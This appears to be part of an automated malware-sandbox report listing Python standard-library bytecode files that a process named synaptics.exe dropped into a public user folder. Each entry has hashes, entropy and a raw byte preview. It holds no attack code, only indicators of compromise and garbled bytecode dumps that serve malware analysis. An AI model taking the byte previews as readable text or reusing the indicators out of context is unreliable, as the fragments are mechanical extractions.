Preview:	o........'-dH........................@...s....d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.d.d.d.d.d.d.d.d.d...Z.e...d...Z.d.d...Z.e...d.e.j...Z.d.d.d...Z.d.d.d...Z.e...d...Z.....d.d.d...Z.d.d.d.d.d.d.d d!d"d#d$d%..Z.d.d&d'd(d)dd+..Z.d,d-..Z.d.d/..Z.d.d0d1..Z.d2d3..Z.d.d5d6..Z.d7d8..Z.d.d9d:..Z.d;d<..Z.d=d>..Z.d.d?d@..Z.dAdB..Z d.dCdD..Z!dEdFdGd...Z"e.j#d.d.f.dHdI..Z$dJdK..Z%G.dLdM..dM..Z&dNdO..Z'G.dPdQ..dQe..(dRdS....Z)d.adTdU..Z+dVdW..Z,dXdY..Z-dZd[..Z.d\d]..Z/d^d_..Z0d`da..Z1e...dbe.j...Z2e...dce.j...Z3e...dd..Z4e...de..Z5i.Z6d.dfdg..Z7dhdi..Z8djdk..Z9dldm..Z:dndo..Z;dpdq..Z<drds..Z=dtdu..Z>i.Z?d.dvdw..Z@e...dx..ZAe...dy..ZBdzZCd.aDd{d\|..ZEd}d~..ZFeGd.k...rjd.e.jHv...pPd.e.jHv.ZId.e.jHv...o[d.e.jHv.ZJeKe@eJeI......e..Ld.....d.S.d.S.).a8... This module tries to retrieve as much platform-identifying data as. possible. It makes this information available via function APIs... If called from the command line, it prints the platform. information conca

C:\Users\Public\QExvbmVOb25l\Lib\pycache\platform.cpython-310.pyc.76985216

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	27442
Entropy (8bit):	5.5904468658757756
Encrypted:	false
SSDEEP:	768:fB4j93Ho+Dvz6WYt08jHUgRyRj4/ISTvI9nI6xk4laOXN4Ww:fB293oEbq089oRjnuunI6xs64F
MD5:	9C44045E27B703DD587BA21D5F1AB6E8
SHA1:	64B2BECA35332487D8808CAD39A3CC2B4056F41E
SHA-256:	6FC6D0204E0E7C651F37DBD5856691A8F97C5DC28A0D97B7F8789A095813E60F
SHA-512:	81232D31A22D42B2CF9CBD4FB7463AE61882F3C05B83D4FA9F9FF83ACBAA2636D5B5FBBE0966C60E73236E037EB6E83C1B582A7E89547F0C1FD5C427D2172433
Malicious:	false
Reputation:	low
Preview:	o........'-dH........................@...s....d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.d.d.d.d.d.d.d.d.d...Z.e...d...Z.d.d...Z.e...d.e.j...Z.d.d.d...Z.d.d.d...Z.e...d...Z.....d.d.d...Z.d.d.d.d.d.d.d d!d"d#d$d%..Z.d.d&d'd(d)dd+..Z.d,d-..Z.d.d/..Z.d.d0d1..Z.d2d3..Z.d.d5d6..Z.d7d8..Z.d.d9d:..Z.d;d<..Z.d=d>..Z.d.d?d@..Z.dAdB..Z d.dCdD..Z!dEdFdGd...Z"e.j#d.d.f.dHdI..Z$dJdK..Z%G.dLdM..dM..Z&dNdO..Z'G.dPdQ..dQe..(dRdS....Z)d.adTdU..Z+dVdW..Z,dXdY..Z-dZd[..Z.d\d]..Z/d^d_..Z0d`da..Z1e...dbe.j...Z2e...dce.j...Z3e...dd..Z4e...de..Z5i.Z6d.dfdg..Z7dhdi..Z8djdk..Z9dldm..Z:dndo..Z;dpdq..Z<drds..Z=dtdu..Z>i.Z?d.dvdw..Z@e...dx..ZAe...dy..ZBdzZCd.aDd{d\|..ZEd}d~..ZFeGd.k...rjd.e.jHv...pPd.e.jHv.ZId.e.jHv...o[d.e.jHv.ZJeKe@eJeI......e..Ld.....d.S.d.S.).a8... This module tries to retrieve as much platform-identifying data as. possible. It makes this information available via function APIs... If called from the command line, it prints the platform. information conca

C:\Users\Public\QExvbmVOb25l\Lib\pycache\posixpath.cpython-310.pyc.55514464

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	10543
Entropy (8bit):	5.329830288433104
Encrypted:	false
SSDEEP:	192:rhb0oiAyslc6Yc5JJ0kMz8g1z37oItrg2spGuDbTM0tNWCEZC:rhGALlTYc5JJ5Itr5spLbo0bdEZC
MD5:	ED7B716AC49D014F45DB67389B884E17
SHA1:	84BE6DCFFB42D7D23DDB93508F72711B7B1039B6
SHA-256:	561092F9C0742C62FC028AEA5367683355F0C3ACDE2B82EEE391744791944779
SHA-512:	39E8AAEE5B0E976D264FA65225164695F2C86C2A00C697A11D8D2ABDD24C77FB1C59FC77EF75118A8DCE351C2F43F5B2C9844C676802394635A94AA011E20609
Malicious:	false
Reputation:	low
Preview:	o........'-d.A.......................@...s....d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.j.e._.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.d!d"..Z.d#d$..Z.d.a.d.a.d%d&..Z.d'd(..Z.d)d..Z d+d,..d-d...Z!d/d0..Z"e.j#d1k.Z$d6d2d3..Z%d4d5..Z&d.S.)7a....Common operations on Posix pathnames...Instead of importing this module directly, import os and refer to.this module as os.path. The "os.path" name is an alias for this.module on Posix systems; on other systems (e.g. Windows),.os.path provides the same operations in a manner specific to that.platform, and is an alias to another module (e.g. ntpath)...Some of this can actually be useful on non-Posix systems too, e.g..for manipulation of the pathname component of URLs.........../..:z./bin:/usr/binNz./dev/null.....)...)&..normcase..isabs..join..splitdrive..split..splitext..basename..dirname..commonprefix..getsize..getmtime..getatime..getctime..islink..exis

C:\Users\Public\QExvbmVOb25l\Lib\pycache\queue.cpython-310.pyc.69413824

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	10805
Entropy (8bit):	5.079570093380288
Encrypted:	false
SSDEEP:	192:ru+pM4yfRWdufeC/PBbEy6LWf1eR/i9Z6/cWyfmrAX/I8:i+pMrQdufd/PBbEy6LWdeo9s/PyfmrCP
MD5:	C48B7CDFD1CFA56D6EF1E7AED1C7824A
SHA1:	F503E6ED09B6280337E6317635098CDD140F798B
SHA-256:	23816DCA459DC697D02A4AD13630DC6060F16CD531425D91AF2AB09D83D13D1E
SHA-512:	3C3972010B9218403909383BDD8852BEFDC6F49036EAFE16FD4D0CF46454FC443D51F24351D95D2C8821E162D26BD682EF8C78EF4836FB292D015FAD102D58C9
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y1......d.Z.Y.n.w.g.d...Z.z.d.d.l.m.Z...W.n...e.yO......G.d.d...d.e...Z.Y.n.w.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z.e.d.u.r~e.Z.d.S.d.S.).z'A multi-producer, multi-consumer queue......N)...deque)...heappush..heappop)...monotonic)...SimpleQueue)...Empty..Full..Queue..PriorityQueue..LifoQueuer....).r....c....................@........e.Z.d.Z.d.Z.d.S.).r....z4Exception raised by Queue.get(block=0)/get_nowait().N....__name__..__module__..__qualname__..__doc__..r....r.....)C:\Users\Public\QExvbmVOb25l\lib\queue.pyr...................r....c....................@...r....).r....z4Exception raised by Queue.put(block=0)/put_nowait().Nr....r....r....r....r....r........r....r....c....................@...s....e.Z.d.Z.d.Z.d!d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d"d.d...Z.d"d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.

C:\Users\Public\QExvbmVOb25l\Lib\pycache\quopri.cpython-310.pyc.25651680

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5807
Entropy (8bit):	5.454657646690387
Encrypted:	false
SSDEEP:	96:kPp0xXxswv10Es2XWFP0nf5nizGJFNYTBTO7u10IbJJs5WkbtL4FRJpGyd/8tzOR:oqrswv2EGmxMGb+rIWkOFldkS
MD5:	F93690DDE4BBA5A88DFFF80E29BD0AA5
SHA1:	0859E3843F413E73E1DB95CC20DC272D99613E83
SHA-256:	28D2B449A3FD21FB428B6B428D3B1CFC345BAAB8B9516D4818BEA30CC66C2AA9
SHA-512:	A300CFAEF4EF83AD81511A9DC1C9A2480C742E9D1231CB20BFA73765587419CBB636DFBEE014D7B1DB87C2006F410F5EC14B502E48AA70D1C065BA258299F06B
Malicious:	false
Reputation:	low
Preview:	o........'-dV........................@...s....d.Z.g.d...Z.d.Z.d.Z.d.Z.d.Z.z.d.d.l.m.Z.m.Z...W.n...e.y%......d.Z.d.Z.Y.n.w.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.k.rWe.....d.S.d.S.).zHConversions to/from quoted-printable transport encoding as per RFC 1521.)...encode..decode..encodestring..decodestring.....=.L...s....0123456789ABCDEF..........)...a2b_qp..b2a_qpNc....................C...sH...t.\|.t...s.J...\|.d.v.r.\|.S.\|.d.k.r.\|.S.\|.t.k.p#d.\|.....k.o d.k.n.......S.).z.Decide whether a particular byte ordinal needs to be quoted... The 'quotetabs' flag indicates whether embedded tabs and spaces should be. quoted. Note that line-ending tabs and spaces are always encoded, as per. RFC 1521.. ..... ......_..... .....~)...isinstance..bytes..ESCAPE)...c..quotetabs..header..r.....*C:\Users\Public\QExvbmVOb25l\lib\quopri.py..needsquoting....s..............".r....c....................C...sB...t.\|.t...r.t.\|...d.k.s.J...t.\|...}.t.t.t.\|.d.....t.\|.

C:\Users\Public\QExvbmVOb25l\Lib\pycache\random.cpython-310.pyc.25652256

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	22761
Entropy (8bit):	5.437346660850303
Encrypted:	false
SSDEEP:	384:g151Eqqa1srwKCiPSFSU2hf9xjTW8tCX21XiF+2YSNJWQhkYM+CS:gzJKZCiRTLCX2B1UJWbYVCS
MD5:	38B08542E21CD53FA1EDB606205C6669
SHA1:	DE389E58E3865457046E40A92B6543C4711E6A43
SHA-256:	E06D9AE871FA5F1D04671DFE5BF7ACF380F79DA78319447CC17A9CBDFEB561C8
SHA-512:	05D245CD7E3FE449EE17F65CA013C466A06319AAF7F45F34D3CA2133C58AA505557326B3C7347B0C1C0E8EA2E62903A45134C649DB58E384564E10B88FF87DDA
Malicious:	false
Reputation:	low
Preview:	o........'-dg........................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l m!Z"m#Z$..d.d.l%m&Z'..d.d.l(m)Z*m+Z,..d.d.l-m-Z...d.d.l.Z/d.d.l0Z0z.d.d.l1m2Z1..W.n...e3ym......d.d.l4m2Z1..Y.n.w.g.d...Z5d.e.d.....e.d.....Z6e.d...Z7d.e.d.....Z8d.Z9d.e9....Z:d.Z;G.d.d...d.e0j<..Z<G.d.d...d.e<..Z=e<..Z>e>j?Z?e>j@Z@e>jAZAe>jBZBe>jCZCe>jDZDe>jEZEe>jFZFe>jGZGe>jHZHe>jIZIe>jJZJe>jKZKe>jLZLe>jMZMe>jNZNe>jOZOe>jPZPe>jQZQe>jRZRe>jSZSe>jTZTe>jUZUd.d...ZVd#d.d...ZWeXe/d ..r.e/jYe>j?d!....eZd"k...r.eW....d.S.d.S.)$a....Random variable generators... bytes. -----. uniform bytes (values between 0 and 255).. integers. --------. uniform within range.. sequences. ---------. pick random element. pick random sample. pick weighted random sample. generate random permutation.. distributions on the real line:. ------------------------------. unifor

C:\Users\Public\QExvbmVOb25l\Lib\pycache\re.cpython-310.pyc.25768232

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	14240
Entropy (8bit):	5.2132795076047325
Encrypted:	false
SSDEEP:	384:EuPJsiNrHyou2OkRFvMKUryx95qoxS6MbZ:ECJssrSoVfRAry/5qoU6MbZ
MD5:	39DCC135326C030CE0AF09FBE82CE3F4
SHA1:	5B15DD97469A1D797C06C477EC03519ACF4E9DC5
SHA-256:	6EAFAAFB0E609BA8A61F4C70CF6D2EE615ED1FD0DDBC10961ED52E17A80073C9
SHA-512:	D30EBAA41C6D6F42E53C3DAD609425B90DF2517D26F2C8B07B9EC3BB6456E9F101D858E2428995791AF5CCB9E41405AFEBA173EC561A378F1593F8BF5470A88C
Malicious:	false
Reputation:	low
Preview:	o........'-ds?.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y#......d.Z.Y.n.w.g.d...Z.d.Z.G.d.d...d.e.j...Z.e.....e.j.....e.j.Z.d0d.d...Z.d0d.d...Z.d0d.d...Z.d1d.d...Z.d1d.d...Z.d1d.d...Z.d0d.d...Z.d0d.d...Z.d0d.d...Z.d.d...Z.d0d.d...Z.d.d...d.D...Z.d d!..Z.e.e...d"d.....Z.e.e...d"d.....d"....Z.i.Z.d#Z d$d%..Z!e.."e ..d&d'....Z#d(d)..Z$d*d+..Z%d.d.l&Z&d,d-..Z'e&.(e.e'e!....G.d.d/..d/..Z)d.S.)2a....Support for regular expressions (RE)...This module provides regular expression matching operations similar to.those found in Perl. It supports both 8-bit and Unicode strings; both.the pattern and the strings being processed can contain null bytes and.characters outside the US ASCII range...Regular expressions can contain both special and ordinary characters..Most ordinary characters, like "A", "a", or "0", are the simplest.regular expressions; they simply match themselves. You can.concatenate ordinary characters, so last matches the string 'last'...Th

C:\Users\Public\QExvbmVOb25l\Lib\pycache\reprlib.cpython-310.pyc.22175136

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5263
Entropy (8bit):	5.030955164289262
Encrypted:	false
SSDEEP:	96:rdnTWdW9lUgN2VsfA2IywpvIyey0GtJAYKgl0Af6:dzDk52elT0c6Cg
MD5:	2486C7811641EC4E949ABD6D9D61FD92
SHA1:	963BC9E28601A76362A07860F82ABDCC8732EED8
SHA-256:	815181D3EED57DA097A1FD7F3F0D16EFF89D49DCD131162E8A0B966323433EB8
SHA-512:	BC00A6B366F18CEFF4C92BA6B6757C6DFE667AFB37B1C1AE54A8215EA94F9EFA023625B99D6D5D5A8DFB3AEA6681F0B42EFC13C6710BAB901CFFE4E49AB58C6A
Malicious:	false
Reputation:	low
Preview:	o........'-d4........................@...s\...d.Z.g.d...Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.d...Z.G.d.d...d...Z.d.d...Z.e...Z.e.j.Z.d.S.).zGRedo the builtin repr() (representation) but with limits on most sizes.)...Repr..repr..recursive_repr.....N)...islice)...get_ident.....c........................s......f.d.d...}.\|.S.).zGDecorator to make a repr function return fillvalue for a recursive callc........................sX...t...........f.d.d...}.t...d...\|._.t...d...\|._.t...d...\|._.t...d...\|._.t...d.i...\|._.\|.S.).Nc........................sJ...t.\|...t...f.}.\|...v.r...S.....\|.....z...\|...}.W.....\|.....\|.S.....\|.....w...N)...idr......add..discard)...self..key..result)...fillvalue..repr_running..user_function...+C:\Users\Public\QExvbmVOb25l\lib\reprlib.py..wrapper....s......................z<recursive_repr.<locals>.decorating_function.<locals>.wrapper..__module__..__doc__..__name__..__qualname__..__annotations__)...set..getattrr....r....r....r....r....).r....r......r....).r....r....r......

C:\Users\Public\QExvbmVOb25l\Lib\pycache\selectors.cpython-310.pyc.30422080

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17118
Entropy (8bit):	5.1815230849873295
Encrypted:	false
SSDEEP:	384:6jJ7Dm/9rSzUEok/L1xzQ8DdIE67SQSUQGJbvRkE4wSvBeL:6jJ7Dm/9rSzzBdIn7SQSkbvRkE4FvBeL
MD5:	A5E8CDC77D5AD61A03A8C629C4E54EAC
SHA1:	4FB8567DF71382A487FB231068004A752D5EEFFB
SHA-256:	D1D78CC49B099ABA607A4588332842AD68A89DB313CAE0BEB81319886B9BD58A
SHA-512:	7B5F6544E8A49295B3A1141B12D3C2ABAB64CC3FE22CB8322102E80F3D798FC501844D4A9F420F439103BB70F7F5A55CBA26D29E9FCEB879FA6A21F99ECECB28
Malicious:	false
Reputation:	low
Preview:	o........'-d.N.......................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.Z.d.Z.d.d...Z.e.d.g.d.....Z.d.e._.e.j.d.k.rId.e.j._.d.e.j._.d.e.j._.d.e.j._.G.d.d...d.e...Z.G.d.d...d.e.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.d...r.G.d.d...d.e...Z.e.e.d ..r.G.d!d"..d"e...Z.e.e.d#..r.G.d$d%..d%e...Z.e.e.d&..r.G.d'd(..d(e...Z.d)d*..Z.e.d&..r.e.Z.d.S.e.d ..r.e.Z.d.S.e.d#..r.e.Z.d.S.e.d...r.e.Z.d.S.e.Z.d.S.)+z\|Selectors module...This module allows high-level and efficient I/O multiplexing, built upon the.`select` module primitives.......)...ABCMeta..abstractmethod)...namedtuple)...MappingN..........c....................C...s`...t.\|.t...r.\|.}.n.z.t.\|.......}.W.n...t.t.t.f.y"......t.d...\|.....d...w.\|.d.k.r.t.d...\|.......\|.S.).z.Return a file descriptor from a file object... Parameters:. fileobj -- file object or file descriptor.. Returns:. corresponding file descriptor.. Raises:. ValueError if the object is invalid. z.I

C:\Users\Public\QExvbmVOb25l\Lib\pycache\shlex.cpython-310.pyc.87387168

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7795
Entropy (8bit):	5.512172106446463
Encrypted:	false
SSDEEP:	192:dQrdt23n7mQxhSaL09FKXY5nzg9gn1yiEWE5cnPrrvX:KrsKb9FKo5zg9g1yLZ6Pf
MD5:	ED168D357C03DC26539D6D968359834C
SHA1:	2772B6B1F3DBBE21F41BE36C5FD6AF8A14251C3F
SHA-256:	616593ABCAA088F46D0322565739FB6A55466F540C99C2B740AFA0A1D5DA73B8
SHA-512:	8EB969239BEC3D7A1C30F3CD30D68249B59680A24F091E605D7A5933BFB5D9302BFB0D5315DFE3F8A5D95416C7A28D2E5AAD3FFDF35E13F1213CDBD0E2D25449
Malicious:	false
Reputation:	low
Preview:	o........'-d.6.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d...Z.d.d.d...Z.d.d...Z.e...d.e.j...j.Z.d.d...Z.d.d...Z.e.d.k.rse.e.j...d.k.rPe.e.......d.S.e.j.d...Z.e.e.....Z.e.e.e.e.......W.d.........d.S.1.slw.......Y...d.S.d.S.)..8A lexical analyzer class for simple shell-like syntaxes......N)...deque)...StringIO)...shlex..split..quote..joinc....................@...sv...e.Z.d.Z.d.Z.....d.d.d...Z.e.d.d.....Z.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.S.).r....r....NFc....................C...s....t.\|.t...r.t.\|...}.\|.d.u.r.\|.\|._.\|.\|._.n.t.j.\|._.d.\|._.\|.\|._.\|.r$d.\|._.n.d.\|._.d.\|._.d.\|._.\|.j.r7\|...j.d.7..._.d.\|._.d.\|._.d.\|._.d.\|._.d.\|._.d.\|._.t...\|._.d.\|._.d.\|._.d.\|._.t...\|._.d.\|._.\|.sbd.}.n.\|.d.u.rhd.}.\|.\|._.\|.r.t...\|._.\|...j.d.7..._.\|.j...t...\|.....}.\|.j...\|...\|._.d.S.d.S.).N....#Z?abcdfeghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_u\|..............................

C:\Users\Public\QExvbmVOb25l\Lib\pycache\shutil.cpython-310.pyc.55515808

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	38374
Entropy (8bit):	5.531484846325215
Encrypted:	false
SSDEEP:	768:C6QqETanIk41k7RiruyBW6rZiFuTPgtyQwye+idEd4jalseGehtq:C6QqEMIBddYATPgtyQwye+idEd4useGr
MD5:	4EF34DB92E7BCC69DA9DD074935EC471
SHA1:	608A4B93D92FABB2D0E7C1B79273B8D25E2E5C09
SHA-256:	1D9F08B34BE1772C42A62E37A245E3C0B254D33B74E17BCEE6A01AD6394551F7
SHA-512:	A919661B2FD8C86F31612DADDF37259D419F85E3AE70A287ED35BF38E01413A9D18576661B9981BC678AA6081D0E98E47E12AE04D10C317BC51DC568E4753136
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s"...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.[.d.Z.W.n...e.y.......d.Z.Y.n.w.z.d.d.l.Z.[.d.Z.W.n...e.yC......d.Z.Y.n.w.z.d.d.l.Z.[.d.Z.W.n...e.yX......d.Z.Y.n.w.e.j.d.k.Z.d...Z.Z.e.j.d.k.rld.d.l.Z.n.e.rrd.d.l.Z.e.rvd.n.d.Z.e.e.d...o.e.j...d...a.e.o.e.e.d...Z.d.Z.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e ..Z!G.d.d...d.e ..Z"d.d...Z#d.d...Z$e.f.d d!..Z%d.d"d#..Z&d$d%..Z'd&d'..Z(d(d)..Z)d.d..d+d,..Zd.d..d-d...Z+e.e.d/....r.d.d..d0d1..Z,n.d2d1..Z,d.d..d3d4..Z-d.d..d5d6..Z.d.d*..d7d8..Z/d9d:..Z0..d.d;d<..Z1d.d.e/d.d.f.d=d>..Z2e.e.j3d?....r@d@dA..Z4dBdC..Z5n.dDdA..Z4dEdC..Z5dFdG..Z6dHdI..Z7e.j8e.j.e.j9e.j:h.e.j;k...oje.j<e.j=v...oje.j.e.j>v.Z?d.dJdK..Z@e?e@_AdLdM..ZBe/f.dNdO..ZCdPdQ..ZDdRdS..ZEdTdU..ZFdVdW..ZG....d.dYdZ..ZH....d.d[d\..ZId]eHd^g.d_d.f.i.ZJe...r.eHd`g.dad.f.eJdb<.eIg.dcd.f.eJdd<.e...r.eHdeg.dfd.f.eJdg<.e...r.eHdhg.did.f.eJdj<.dkdl..ZKd.dndo..ZLdpdq..ZM

C:\Users\Public\QExvbmVOb25l\Lib\pycache\signal.cpython-310.pyc.70920576

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2948
Entropy (8bit):	4.8796788109167695
Encrypted:	false
SSDEEP:	48:/ynPssxfA01vMnGjQQDGnvsSZdCztcKcynJyDywm18XQfkt+A7BN5XjyubuOAh:sUshAku4rGvsqG6PiJyDywmcQq+A7D5a
MD5:	9913A4073B84AB819D9980F5EE50879B
SHA1:	2ABE2F5F6B4EC691672976F39A34BC09F232AE67
SHA-256:	10679BF423679AB3FD4025D6B248EF3D49A2F46A692AD41CC99DB4217E857DEB
SHA-512:	493006FCD7C0909FB478E281E9E5E00B5B437C894E84F4322F6F625B31E82EAD0CB1228F6B3D04D9307798A2D2734CCB11B4307A3B0B65146FC59B59A4D8CBDA
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.d.l.Z.d.d.l.T.d.d.l.m.Z...e...Z.e...d.e.d.d.......e...d.e.d.d.......d.e.v.r0e...d.e.d.d.......d.d...Z.d.d...Z.d.d...Z.e.e.j...d.d.....Z.e.e.j...d.d.....Z.d.e.v.r[e.e.j...d.d.....Z.d.e.v.rhe.e.j...d.d.....Z.d.e.v.rue.e.j...d.d.....Z.d.e.v.r.e.e.j...d.d.....Z.[.[.d.S.)......N)...)...IntEnum..Signalsc....................C...s(...\|.....r.\|...d...o.\|...d.....p.\|...d...S.).NZ.SIGZ.SIG_Z.CTRL_)...isupper..startswith....name..r.....C:\Users\Public\QExvbmVOb25l\lib\signal.py..<lambda>....s............r......Handlersc....................C........\|.d.v.S.).N)...SIG_DFL..SIG_IGNr....r....r....r....r....r.................pthread_sigmaskZ.Sigmasksc....................C...r....).N).Z.SIG_BLOCKZ.SIG_UNBLOCKZ.SIG_SETMASKr....r....r....r....r....r........r....c....................C...s"...z.\|.\|...W.S...t.y.......\|...Y.S.w.).zsConvert a numeric value to an IntEnum member.. If it's not a known member, return the numeric value itself.. )...ValueError)

C:\Users\Public\QExvbmVOb25l\Lib\pycache\site.cpython-310.pyc.20615584

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17393
Entropy (8bit):	5.5105957286201
Encrypted:	false
SSDEEP:	384:0lpvTn42l1YP47TUN1PirJtKA5y15/Jgt1nmKQ1ruVhY2lrD9bIhx/xAUu2n8/X1:yL42l+g7TA1Pi9cA015hgt1nmlUvvlrx
MD5:	C2E5E0988514D2A58620E975D0C86FFE
SHA1:	AE3FF312C7059218EFC15D93AD614714CEA87615
SHA-256:	FAD6F929A2F0D0CF8D2D58C391EA8C39E7E4235B9441A2D7DBE3F40A48C63299
SHA-512:	EAEEDC5D65914495B110E285F95197772BF0959A98743F3133D77B0B451682261AF4A0AF23DAE2D65B3D1A3B9CA88F229DA453B3042229A907B05DBE9EEB3E86
Malicious:	false
Reputation:	low
Preview:	o........'-d.Z.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.e.j.g.a.d.a.d.a.d.a.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d4d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d4d.d...Z.d4d.d ..Z.d!d"..Z.d#d$..Z.d%d&..Z.d'd(..Z.d)d..Z.d+d,..Z d-d...Z!d/d0..Z"e.j#j$s.e"....d1d2..Z%e&d3k.r.e%....d.S.d.S.)5a....Append module search paths for third-party packages to sys.path...**************************************************************. This module is automatically imported during initialization. .***************************************************************..This will append site-specific paths to the module search path. On.Unix (including Mac OSX), it starts with sys.prefix and.sys.exec_prefix (if different) and appends.lib/python<version>/site-packages..On other platforms (such as Windows), it tries each of the.prefixes directly, as well as with lib/site-packages appended. The.resulting directories, if they exist, are appended to

C:\Users\Public\QExvbmVOb25l\Lib\pycache\socket.cpython-310.pyc.25652256

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	28976
Entropy (8bit):	5.5350952758971665
Encrypted:	false
SSDEEP:	768:Ptwxm9l/P/XkfxdJRP8zqEhlM+Se4EwQ04PmNn9N:POxWpQEz3hlGe4EwQ0uc9N
MD5:	DFC1FF9026B1DE57120FFCB5029B0FE5
SHA1:	0EB5B2A13E76C4A377F5521C9872BE386DAA388F
SHA-256:	0D11482EF7611F27FDD33028D164C1A0440401A05BB7C91D43D93C2B1981D776
SHA-512:	092B961C1F594B7EFDACC0CCBB24EC932BA9AF6F6B5D2402766A6167A4778BC5EBEBE56BF9842C4AE4F6410ED00E054CB3DFC3CB34EC30D329E5EC7062520844
Malicious:	false
Reputation:	low
Preview:	o........'-dq........................@...sT...d.Z.d.d.l.Z.d.d.l.T.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...z.d.d.l.Z.W.n...e.y3......d.Z.Y.n.w.e.e.d.d...Z.e.e.d.d...Z.e.e.d.d...Z.g.d...Z.e...e...e.......e...d.e.d.d.......e...d.e.d.d.......e...d.e.d.d.......e...d.e.d.d.......d.Z.d.Z.d.d...Z.e.j.......d.....r.i.Z.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d <.d!e.d"<.d#e.d$<.d%e.d&<.d'e.d(<.d)e.d*<.d+e.d,<.d-e.d.<.d/e.d0<.d1e.d2<.d3e.d4<.d5e.d6<.d7e.d8<.d9e.d:<.d;e.d<<.d=e.d><.d?e.d@<.dAe.dB<.dCe.dD<.dEe.dF<.dGe.dH<.dIe.dJ<.dKe.dL<.dMe.dN<.dOe.dP<.dQe.dR<.dSe.dT<.dUe.dV<.dWe.dX<.dYe.dZ<.d[e.d\<.d]e.d^<.d_e.d`<.dae.db<.dce.dd<.dee.df<.dge.dh<.die.dj<.dke.dl<.dme.dn<.doe.dp<.dqe.dr<.dse.dt<.due.dv<.dwe.dx<.dye.dz<.d{e.d\|<.d}e.d~<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.

C:\Users\Public\QExvbmVOb25l\Lib\pycache\sre_compile.cpython-310.pyc.25860264

Download File

